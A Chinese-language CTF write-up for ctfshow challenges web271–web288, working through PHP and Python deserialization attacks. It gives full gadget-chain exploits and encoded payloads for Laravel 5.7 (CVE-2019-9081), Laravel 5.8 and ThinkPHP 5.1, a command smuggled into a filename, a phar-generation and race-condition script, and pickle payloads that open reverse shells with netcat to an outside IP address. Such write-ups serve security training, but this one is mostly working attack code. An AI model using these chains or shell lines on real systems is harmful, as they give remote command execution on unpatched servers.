web271 Laravel框架5.7RCE
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
Laravel框架
反序列化提交的入口
@unserialize($_POST['data']);
找到一个链子
CVE-2019-9081 Laravel5.7 反序列化 RCE复现
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system',array('id'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}
?>
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
成功执行
查看flag
web271 Laravel框架5.8RCE + 外带cookie rce
都是差不多的先尝试使用上一个脚本大一下
已经没有反应了
新的链子
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct()
{
$this->connection=new MockDefinition();
}
}
}
namespace Mockery\Generator{
class MockDefinition{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php echo system('whoami'); exit(); ?>";
$this->config=new MockConfiguration();
}
}
class MockConfiguration{
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver=[new EvalLoader(),'load'];
//$this->queueResolver=array(new EvalLoader(),'load');
//数组
}
}
}
namespace Mockery\Loader{
class EvalLoader{
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
参考:
laravel5.8反序列化漏洞(详细)_lumen (5.8.4) (laravel components 5.8.*) 漏洞利用-CSDN博客
查看flag
第二个链子
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="tac /f*";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
发送会报异常 F12依旧存在flag
外带cookie rce
利用第一条的链子
namespace Mockery\Generator{
class MockDefinition{
protected $config;
protected $code;
public function __construct()
{
// $this->code="<?php echo system('tac /f*'); exit();
$this->code="<?php setcookie('pwd',shell_exec('pwd')); ?>";
$this->config=new MockConfiguration();
}
}
class MockConfiguration{
}
把pwd命令外带给pwd这个参数
生成payload
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A44%3A%22%3C%3Fphp+setcookie%28%27pwd%27%2Cshell_exec%28%27pwd%27%29%29%3B+%3F%3E%22%3B%7D%7D%7D
发送
把命令给设置为查看flag
这样就成功拿到了
web273 Laravel框架5.8RCE
同上5.8 的链子 依旧可以使用
web274 ThinkPHP V5.1
F12 发现反序列的点
nserialize(base64_decode(\$_GET['data']))-->
网上公开的链子:
奇安信攻防社区-ThinkPHP5.1反序列化漏洞实现rce
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["l1_Tuer"=>["123"]];
$this->data = ["l1_Tuer"=>new Request()]; //l1_Tuer 这是执行命令的参数 l1_Tuer=whoami
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo3OiJsMV9UdWVyIjthOjE6e2k6MDtzOjM6IjEyMyI7fX1zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjc6ImwxX1R1ZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19
catflag
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
看一下逻辑 我们怎么才能获取flag
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
这条命令可以rce
只要evilfile=true 就行,他是要匹配到 php就可以 ,但是下面又存在一个rm 删除只需要简单绕过就好
使用 ; | 都可以绕
payload
php|tac f*
web276 phar 反序列化
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
其实和上一题区别不是很大 ,但区别也有点大
看一下怎么才能获取flag
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
这里是可以执行system函数的 ,但是呢 我们的admin代码里面是等于false的 ,要让他等于true 才执行代码
这里就需要用到
file_put_contents($_GET['fn'], $content);
写phar 文件进行反序列化了
先生成一个phar文件
<?php
//根据代码来构造
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
/**上面的这里写pop链*/
/**下面的东西一般是不变的*/
// $a = new User();
$a = new filter('a;tac f*','1');
$phar = new Phar("x.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php__HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //set-metadata参数会变
$phar->stopBuffering();
?>
import requests
import threading
import time
success = False
# 获取文件数据
def getPhar(phar):
with open(phar,'rb') as f:
data = f.read()
return data
# 写phar文件
def writePhar(url, data):
requests.post(url, data)
# unlink文件
def unlinkPhar(url, data):
global success
r = requests.post(url, data).text
if 'ctfshow{' in r and success is False:
print(r)
success =True
def main():
global success
url = 'http://6cab8489-b38f-4f70-ac14-b6e1d62a6bc5.challenge.ctf.show/'
phar = getPhar('x.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar, args=(url+'?fn=x.phar', phar))
s = threading.Thread(target=unlinkPhar, args=(url+'?fn=phar://x.phar/1.txt', ''))
w.start()
s.start()
if __name__ == '__main__':
main()
成功获取了flag
web277 python反序列化 基础
F12
/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)
最简单python反序列化
使用脚本
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 47.236.41.52 9999 -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )
web288 py反序列化 过滤os.system 使用 os.popen代替
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4000 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
参考:
pickle反序列化初探 - 先知社区
Python反序列化漏洞及魔术方法详细全解(链构造、自动审计工具bandit)_反序列化怎么处理魔术函数-CSDN博客
浅析Phar反序列化 - FreeBuf网络安全行业门户